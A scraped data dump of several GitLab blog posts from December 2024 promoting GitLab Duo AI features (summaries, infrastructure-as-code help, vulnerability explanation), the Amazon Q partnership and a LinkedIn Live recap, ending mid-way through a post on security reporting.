Names Bill Staples As New Ceo","en-us/blog/gitlab-names-bill-staples-as-new-ceo.yml","en-us/blog/gitlab-names-bill-staples-as-new-ceo",{"_path":3543,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3544,"content":3550,"config":3555,"_id":3557,"_type":16,"title":3558,"_source":17,"_file":3559,"_stem":3560,"_extension":20},"/en-us/blog/icymi-key-ai-and-security-insights-from-our-developer-community",{"title":3545,"description":3546,"ogTitle":3545,"ogDescription":3546,"noIndex":6,"ogImage":3547,"ogUrl":3548,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3548,"schema":3549},"ICYMI: Key AI and security insights from our developer community","Our latest LinkedIn Live highlights the hottest trends in AI, security, DevSecOps, and more. Also get a taste of the GitLab community contributions that are making an impact.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098331/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%286%29_55zMmdJIUpfh5qaPW9dtVA_1750098331584.png","https://about.gitlab.com/blog/icymi-key-ai-and-security-insights-from-our-developer-community","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ICYMI: Key AI and security insights from our developer community\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2024-12-05\",\n      }",{"title":3545,"description":3546,"authors":3551,"heroImage":3547,"date":3533,"body":3552,"category":962,"tags":3553},[2700],"In our [November LinkedIn Live broadcast](https://www.linkedin.com/feed/update/urn:li:activity:7265408726696697857), we brought together field CTOs, developer advocates, and community leaders to discuss industry trends and showcase features making a difference in developer workflows.\n\nHere are 5 key highlights:\n\n### 1. AI adoption trends from the field\nOur field CTOs shared insights on how organizations are embracing AI across their development workflows. For instance, Field CTO Cherry Han highlighted how financial organizations are thinking beyond individual developer tools.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1035388263?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Ai Adoption Trends from the Field\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cbr>\u003C/br>\nAndrew Hasker, Field CTO for Asia Pacific and Japan, offered valuable perspective on AI adoption.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1035388277?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"From Field CTOs\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 2. Security coverage that makes a difference\n\nStaff Developer Advocate Fernando Diaz demonstrated how GitLab's security scanners cover the complete application lifecycle, showing how easy it is to implement [comprehensive security scanning](https://about.gitlab.com/solutions/security-compliance/) with just a few lines of code.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1035388297?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Security Coverage\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 3. AI-powered language migration made simple\nIn an impressive demonstration, Senior Technical Marketing Manager Cesar Saavedra showed how GitLab Duo can assist in migrating applications between programming languages.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1036170482?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"AI-Powered Language Migration Made Simple\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 4. Making DevSecOps work smarter\n\nDeveloper Advocate Abubakar Siddiq Ango showcased how GitLab's triage features can automate routine tasks.\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1035388290?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Making DEvOps Work Smarter\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 5. Community contributions making an impact\n\nDirector of Contributor Success Nick Veenhof shared how community contributions are shaping GitLab's development:\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1035395211?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Community Contributions Making an Impact\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Watch on-demand\n\n[Watch the complete broadcast recording](https://www.linkedin.com/feed/update/urn:li:activity:7265408726696697857) for step-by-step demonstrations and insights from our experts. Also, be sure to [follow GitLab on LinkedIn](https://www.linkedin.com/company/gitlab-com) to stay up to date on our monthly broadcasts and get insights into our platform, DevSecOps, and software development.\n",[790,674,267,696,3554],"webcast",{"slug":3556,"featured":6,"template":678},"icymi-key-ai-and-security-insights-from-our-developer-community","content:en-us:blog:icymi-key-ai-and-security-insights-from-our-developer-community.yml","Icymi Key Ai And Security Insights From Our Developer Community","en-us/blog/icymi-key-ai-and-security-insights-from-our-developer-community.yml","en-us/blog/icymi-key-ai-and-security-insights-from-our-developer-community",{"_path":3562,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3563,"content":3568,"config":3572,"_id":3574,"_type":16,"title":3575,"_source":17,"_file":3576,"_stem":3577,"_extension":20},"/en-us/blog/streamline-devsecops-engineering-workflows-with-gitlab-duo",{"title":3564,"description":3565,"ogTitle":3564,"ogDescription":3565,"noIndex":6,"ogImage":903,"ogUrl":3566,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3566,"schema":3567},"Streamline DevSecOps engineering workflows with GitLab Duo","Learn all the ways GitLab Duo's AI capabilities can improve the efficiency of development workflows. Includes in-depth tutorials and demos.","https://about.gitlab.com/blog/streamline-devsecops-engineering-workflows-with-gitlab-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Streamline DevSecOps engineering workflows with GitLab Duo\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2024-12-05\",\n      }",{"title":3564,"description":3565,"authors":3569,"heroImage":903,"date":3533,"body":3570,"category":791,"tags":3571},[2816],"It's 9 a.m. somewhere, and a DevOps engineer is starting their day. They check their [GitLab todo list](https://docs.gitlab.com/ee/user/todos.html) to see any mentions or tasks assigned to them, collaborating with other stakeholders in their organization. These tasks can include:\n\n- managing infrastructure\n- maintaining the configuration of resources\n- maintaining CI/CD pipelines\n- automating processes for efficiency\n- maintaining monitoring and alerting systems\n- ensuring applications are securely built and deployed\n- modernizing applications with containerization\n\nTo carry out these tasks, DevOps engineers spend a lot of time reading documentation, writing configuration files, and searching for help in forums, issues boards, and blogs. Time is spent studying and understanding concepts, and how tools and technologies work. When they don't work as expected, a lot more time is spent investigating why. New tools are released regularly to solve niche or existing problems differently, which introduces more things to learn and maintain context for.\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/), our AI-powered suite of capabilities, fits into the workflow of DevSecOps engineers, enabling them to reduce time spent solving problems while increasing their efficiency.\n\nLet's explore how GitLab Duo helps streamline workflows.\n\n## Collaboration and communication\n\nDiscussions or requests for code reviews require spending time reading comments from everyone and carefully reviewing the work shared. GitLab Duo capabilities like Discussion Summary, Code Review Summary, and Merge Request Summary increase the effectiveness of collaboration by reducing the time required to get caught up on activities and comments, with more time spent getting the actual work done.\n\n### Merge Request Summary  \n\nWriting a detailed and clear summary of the change a merge request introduces is crucial for every stakeholder to understand what, why, and how a change was made. It's more difficult than it sounds to effectively articulate every change made, especially in a large merge request. [Merge Request Summary](https://docs.gitlab.com/ee/user/project/merge_requests/duo_in_merge_requests.html#generate-a-description-by-summarizing-code-changes) analyzes the change's diff and provides a detailed summary of the changes made.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/4muvSFuWWL4?si=1i2pkyqXZGn2dSbd\" title=\"GitLab Duo Chat is now aware of Merge Requests\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Discussion Summary\n\nImagine getting pulled into an issue with more than 100 comments and a lengthy description, with different perspectives and opinions shared. GitLab Duo [Discussion Summary](https://docs.gitlab.com/ee/user/discussions/index.html#summarize-issue-discussions-with-duo-chat) summarizes all the conversations in the issue and identifies tasks that need to be done, reducing time spent. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/IcdxLfTIUgc?si=WXlINow3pLoKHBVM\" title=\"GitLab Duo Dicussion Summary\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n#### Code Review Summary\n\nA merge request has been assigned to a DevOps engineer for review in preparation for deployment, and they have spent time reviewing several parts of the change with multiple comments and suggestions. When [submitting a review](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/index.html#submit-a-review), a text box is presented to summarize the review, which often requires taking a pause and articulating the review. With [Code Review Summary](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/index.html#submit-a-review), they get a concise summary automatically drafted leading to efficiency.\n\n## Manage infrastructure changes\n\nPart of a DevOps engineer's workflow is managing infrastructure changes. Infrastructure as code ([IaC](https://docs.gitlab.com/ee/user/infrastructure/iac/)) revolutionized this process, allowing for documentation, consistency, faster recovery, accountability, and collaboration. A challenge with IaC is understanding the requirements and syntax of the chosen tool and provider where the infrastructure will be created. A lot of time is then spent reviewing documentation and tweaking configuration files until they meet expectations. \n\nWith GitLab Duo [Code Explanation](https://docs.gitlab.com/ee/user/gitlab_duo/index.html#code-explanation) and [Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/index.html), you can prompt GitLab Duo to create configuration files in your tool of choice and learn about the syntax of those tools. With Code Suggestions, you can either leverage [code generation](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/index.html#code-generation), where you prompt GitLab Duo to generate the configuration, or code completion, which provides suggestions as you type while maintaining the context of your existing configurations.\n\nAs of the time this article was published, Terraform is [supported by default](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html#supported-languages) with the right extensions for your IDEs. Other technologies can be supported with [additional language support configuration](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html#add-support-for-more-languages) for the [GitLab Workflow extension](https://docs.gitlab.com/ee/editor_extensions/visual_studio_code/index.html).\n\nWhere a technology is not officially supported, [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html) is the powerful AI assistant that can help generate, explain, clarify, and troubleshoot your configuration, while maintaining context from selected text or opened files. Here are two demos where GitLab Duo helped create IaC with Terraform and AWS CloudFormation.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/saa2JJ57UaQ?si=Bu9jyQWwuSUcw8vr\" title=\"Manage your Infrastructure with Terraform and AI using GitLab Duo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003Cbr>\u003C/br>\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/KSLk2twXqiI?si=QDdERjbM0f7X2p23\" title=\"Deploying AWS Lambda function using AWS Cloudformation with help from GitLab Duo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Configuration management\n\nOnce your infrastructure is up, GitLab Duo Chat can also help create configuration files and refactor existing ones. These can be Ansible configurations for infrastructure or cloud-native configurations using Docker, Kubernetes, or Helm resource files. In the videos below, I demonstrate how GitLab Duo helps with Ansible, containerization, and application deployment to Kubernetes.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/t6ZCq_jkBwY?si=awCUdu1wCgOO21XR\" title=\"Configuring your Infrastructure with Ansible & GitLab Duo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003Cbr>\u003C/br>\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/KSLk2twXqiI?si=QDdERjbM0f7X2p23\" title=\"Containerizing your application with GitLab Duo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003Cbr>\u003C/br>\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/uroSxvMFqPU?si=GMNC7f2b7i_cjn6F\" title=\"Deploying your application to Kubernetes with Help from GitLab Duo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003Cbr>\u003C/br>\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/9yGDM00RlUA?si=kE5JZD_OEFcxeR7E\" title=\"Deploying to Kubernetes using Helm with help from GitLab Duo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Test, test, test\n\nWriting tests is an important part of building secure software, but it can be a chore and often becomes an afterthought. You can leverage the power of GitLab Duo to [generate tests for your code](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#vulnerability-resolution) by highlighting your code and typing the `/tests` in the Chat panel of your IDE.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/zWhwuixUkYU?si=wI93j90PIiUMyGcV\" title=\"GitLab Duo Test Generation\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### CI/CD pipeline troubleshooting\n\nAutomation is an essential part of the DevOps engineer's workflow, and Continuous Integration/Deployment ([CI/CD](https://about.gitlab.com/topics/ci-cd/)) is central to this. You can trigger CI jobs on code push, merge, or on schedule. But, when jobs fail, you spend a lot of time reading through the logs to identify why, and for cryptic errors, it can take more time to figure out. [GitLab Duo Root Cause Analysis](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/) analyzes your failed job log and errors, and then recommends possible fixes. This reduces the time spent investigating the errors and finding a fix.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Sa0UBpMqXgs?si=IyR-skz9wJMBSicE\" title=\"GitLab Duo Root Cause Analysis\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Building secure applications\n\nPart of software development includes discovering vulnerabilities, either in the application or its dependencies. Some vulnerabilities are easy to fix, while others require creating a milestone with planning. GitLab Duo [Vulnerability Explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#explaining-a-vulnerability) and [Vulnerability Resolution](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#vulnerability-resolution) reduce the time spent researching and fixing vulnerabilities. Vulnerability Explanation explains why a vulnerability is happening, its impact, and how to fix it, helping the DevOps engineer to upskill. Vulnerability Resolution takes it further – instead of just suggesting a fix, it creates a merge request with a fix for the vulnerability for you to review. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/MMVFvGrmMzw?si=Fxc4SeOkCBKwUk_k\" title=\"GitLab Duo Vulnerability Explanation\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\u003Cbr>\u003C/br>\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/VJmsw_C125E?si=XT3Qz5SsX-ISfCyq\" title=\"GitLab Duo Vulnerability resolution\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## More work done with less stress\n\nWith GitLab Duo, DevOps engineers can do more work deploying and maintaining secure applications, while acquiring more skills with the detailed responses from GitLab Duo Chat.\n\n> [Sign up for a free 60-day trial of GitLab Duo](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/) to get started today!",[790,110,943,479,696,695],{"slug":3573,"featured":92,"template":678},"streamline-devsecops-engineering-workflows-with-gitlab-duo","content:en-us:blog:streamline-devsecops-engineering-workflows-with-gitlab-duo.yml","Streamline Devsecops Engineering Workflows With Gitlab Duo","en-us/blog/streamline-devsecops-engineering-workflows-with-gitlab-duo.yml","en-us/blog/streamline-devsecops-engineering-workflows-with-gitlab-duo",{"_path":3579,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3580,"content":3585,"config":3590,"_id":3592,"_type":16,"title":3593,"_source":17,"_file":3594,"_stem":3595,"_extension":20},"/en-us/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai",{"title":3581,"description":3582,"ogTitle":3581,"ogDescription":3582,"noIndex":6,"ogImage":938,"ogUrl":3583,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3583,"schema":3584},"GitLab Duo with Amazon Q: DevSecOps meets agentic AI","AI-powered DevSecOps enhanced with autonomous AI agents accelerates developer productivity, application modernization, and innovation.","https://about.gitlab.com/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo with Amazon Q: DevSecOps meets agentic AI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilio Salvador\"}],\n        \"datePublished\": \"2024-12-03\",\n      }",{"title":3581,"description":3582,"authors":3586,"heroImage":938,"date":3587,"body":3588,"category":791,"tags":3589},[1761],"2024-12-03","We're excited to announce GitLab Duo with Amazon Q, a joint offering that brings together GitLab's comprehensive AI-powered DevSecOps platform with Amazon Q's autonomous AI agents in a single, integrated solution.\n\nGitLab Duo with Amazon Q transforms software development by integrating powerful AI agents directly into your daily workflows. Instead of switching between multiple tools, developers can now accelerate key tasks — from feature development to code reviews — all from within GitLab's comprehensive DevSecOps platform. Amazon Q’s AI agents act as intelligent assistants, automating time-consuming tasks like generating code from requirements, creating unit tests, conducting code reviews, and modernizing Java applications. By handling these complex tasks, this joint offering helps teams focus on innovation, while maintaining security and quality standards.\n\nThis enterprise-class developer experience includes:\n* The GitLab unified platform with one single data store, which automates the building, testing, packaging, and deployment of secure code\n* GitLab Duo, enhanced with Amazon Q developer, which leverages GitLab project context to generate multi-file changes based on the task\n* Amazon Q AI agents integrated with GitLab Duo, updating issues and creating merge requests per task, with permission scoped to the project\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1033653810?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo and Amazon Q\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Partnership innovation: GitLab and AWS\n\nGitLab Duo with Amazon Q is the result of close collaboration between GitLab and AWS engineering teams, combining our strengths to transform software development. This partnership unites GitLab's expertise in unified DevSecOps with AWS's leadership in cloud computing, creating an innovative solution that understands how developers work.\n\nBy integrating Amazon Q's autonomous agents with GitLab's comprehensive AI-powered platform, we've built more than a technical integration. We've created an experience that makes AI-powered development feel natural and upholds the security, compliance, and reliability that enterprises require.\n\nIndustry analysts recognize the significance of this integration in advancing AI-powered software development:\n\n***\"With this joint offering, GitLab and AWS are combining their strengths to make agentic AI a reality in software development,\" said Katie Norton, Research Manager at IDC. \"GitLab Duo with Amazon Q addresses strong use cases and critical challenges that empower customers to harness the full potential of AI.\"***\n\n***\"Both developers and the organizations they work for are increasingly interested in simplified and unified experiences,\" says Rachel Stephens, senior analyst at RedMonk. \"Especially in the era of AI – when security and privacy are paramount concerns – organizations want to both harness the power of cutting edge technology while also controlling risk and minimizing disjointed software tool chains. The partnership between GitLab Duo and Amazon Q seeks to give developers the tools they need within the context of an end-to-end DevSecOps experience.\"***\n\n## 4 key customer benefits \n\nGitLab Duo with Amazon Q pairs AI-powered DevSecOps with the deepest set of cloud computing capabilities. Together, they help development teams:\n\n### 1. Streamline feature development from idea to code \n\nDevelopment teams often spend hours translating requirements into code, leading to slower delivery and inconsistent implementation. You can now invoke the GitLab Duo with Amazon Q agent by utilizing a new quick action `/q dev`, which will convert an issue description directly into merge-ready code in minutes. The agent analyzes requirements, plans the implementation, and generates a complete merge request — all while adhering to your team's development standards. Teams can iterate rapidly using feedback in comments, significantly reducing the time from idea to production.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050110?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Feature Dev with Rev\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 2. Modernize legacy code without the headache \n\nUpgrading Java applications traditionally requires weeks of careful planning, manual code changes, and extensive testing. By using quick action `/q transform`, you can change this by automating the entire Java modernization process. In minutes, not hours, the agent analyzes your Java 8 or 11 codebase, creates a comprehensive upgrade plan, and generates fully documented merge requests for Java 17 migration. Every change is tracked and traceable, giving teams confidence while improving application security and performance.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050145?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"QCT\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 3. Accelerate code reviews without sacrificing quality \n\nCode reviews often create bottlenecks: Teams wait days for feedback yet must maintain consistent standards. With the `/q review` quick action, you get instant, intelligent feedback on code quality and security directly in merge requests. By automatically identifying potential issues and suggesting improvements based on your standards, teams can maintain high-quality code while dramatically reducing review cycles.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050136?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Code Reviews\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### 4. Automate testing to ship with confidence\n\nManual test creation is time-consuming and often leads to inconsistent coverage across teams. With the `/q test` quick action, you can automatically generate comprehensive unit tests that understand your application logic. The agent ensures thorough coverage of critical paths and edge cases, matching your existing testing patterns. This automation helps teams catch issues earlier and maintain consistent quality standards, saving valuable developer time.\n\n\u003Cdiv style=\"padding:54.37% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1034050181?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Use GitLab Duo with Amazon Q to add tests\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Enterprise-grade security and guardrails included\n\nBuilt for enterprise scale and security, this offering combines GitLab's integrated security, compliance, and privacy with Amazon Q's AI agent, accelerating developer workflows to help organizations ship secure software faster.\n\nThe integration features:\n\n* Built-in guardrails that maintain development velocity  \n* Granular controls for AI-powered features at user, project, and group levels  \n* End-to-end security integration with existing workflows\n\nDevSecOps teams can securely scale the development environment with the world's most broadly adopted cloud.\n\n## What's next\n\nGitLab Duo with Amazon Q builds on our existing integration with [AWS announced in May 2024](https://press.aboutamazon.com/2024/4/aws-announces-general-availability-of-amazon-q-the-most-capable-generative-ai-powered-assistant-for-accelerating-software-development-and-leveraging-companies-internal-data), representing a significant step forward in our joint mission to transform software development. This deeper integration of AI capabilities marks the beginning of our expanded collaboration with AWS. As we continue to evolve these capabilities, we'll focus on:\n\n* Extending AI features across the development lifecycle  \n* Enhancing developer productivity  \n* Meeting enterprise development demands at scale\n\n**GitLab Duo with Amazon Q is available today on a [public branch](https://gitlab.com/groups/gitlab-org/-/epics/16059) in the GitLab.org project. To get access to a preview and learn more about how it can transform your software development process, visit [our website](https://about.gitlab.com/partners/technology-partners/aws/#interest).**",[736,944,790,479,232],{"slug":3591,"featured":92,"template":678},"gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai","content:en-us:blog:gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai.yml","Gitlab Duo With Amazon Q Devsecops Meets Agentic Ai","en-us/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai.yml","en-us/blog/gitlab-duo-with-amazon-q-devsecops-meets-agentic-ai",{"_path":3597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3598,"content":3604,"config":3609,"_id":3611,"_type":16,"title":3612,"_source":17,"_file":3613,"_stem":3614,"_extension":20},"/en-us/blog/how-to-leverage-gitlab-duo-for-enhanced-security-reporting",{"title":3599,"description":3600,"ogTitle":3599,"ogDescription":3600,"noIndex":6,"ogImage":3601,"ogUrl":3602,"ogSiteName":1180,"ogType":1181,"canonicalUrls":3602,"schema":3603},"How to leverage GitLab Duo for enhanced security reporting","Learn how GitLab Duo enables efficient, real-world security reporting for development, operations, and security teams.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098339/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%285%29_1iy516k40hwBDChKcUJ2zb_1750098339103.png","https://about.gitlab.com/blog/how-to-leverage-gitlab-duo-for-enhanced-security-reporting","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to leverage GitLab Duo for enhanced security reporting\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valentine Mairet\"},{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-12-03\",\n      }",{"title":3599,"description":3600,"authors":3605,"heroImage":3601,"date":3587,"body":3607,"category":791,"tags":3608},[3606,2680],"Valentine Mairet","Good security reporting is crucial to maintain a good security posture because it provides detailed insights into incidents. With this information, organizations can better understand vulnerabilities, improve defenses, and prevent similar threats in the future. At GitLab, the [Security division](https://handbook.gitlab.com/handbook/security/#division-structure) has created use cases for GitLab Duo to improve reporting capabilities and enhance operational efficiency. \n\n## GitLab Duo’s security capabilities\n\nThe GitLab Security division uses GitLab’s built-in [incidents](https://docs.gitlab.com/ee/operations/incident_management/incidents.html) to manage and report on security incidents. Incidents are handled, documented, and resolved in GitLab, enabling the use of AI-driven [GitLab Duo](https://about.gitlab.com/gitlab-duo/) as an assistant when performing security operations like incident response. \n\nParticularly in incident analysis and reporting, GitLab Duo is highly efficient and accurate at creating proper documentation and is a great “pair programmer” when solving security incidents.\n\n## GitLab Duo features for security reporting\n\nGitLab Duo offers many features that enhance security reporting:\n\n- **Root Cause Analysis:** GitLab Duo can explain vulnerabilities and understand the context of an incident issue, making it an excellent assistant for performing root cause analyses of security incidents.\n- **Vulnerability Explanation:** Provides detailed insights into identified vulnerabilities, including potential exploitation methods and remediation steps. This feature aids developers and security analysts in understanding and addressing security issues effectively.\n- **Vulnerability Resolution:** Assists in fixing vulnerabilities by generating merge requests that address the identified issues, streamlining the remediation process.\n- **Code Explanation:** Helps users comprehend specific code segments by offering clear explanations, which is particularly useful when dealing with complex or unfamiliar codebases.\n- **Test Generation:** Facilitates early bug detection by generating tests for selected code, ensuring that security vulnerabilities are identified and addressed promptly.\n- **Refactor Code:** Suggests improvements or refactoring for selected code to enhance its quality and maintainability, contributing to a more secure codebase.\n- **Fix Code:** Identifies and rectifies quality issues such as bugs or typos in the selected code, helping maintain a robust and secure codebase.\n\n## Practical use cases\n\nFor the purpose of demonstrating practical use cases, the Security Incident Response Team created a dummy incident with following limited information:\n\n![Incident 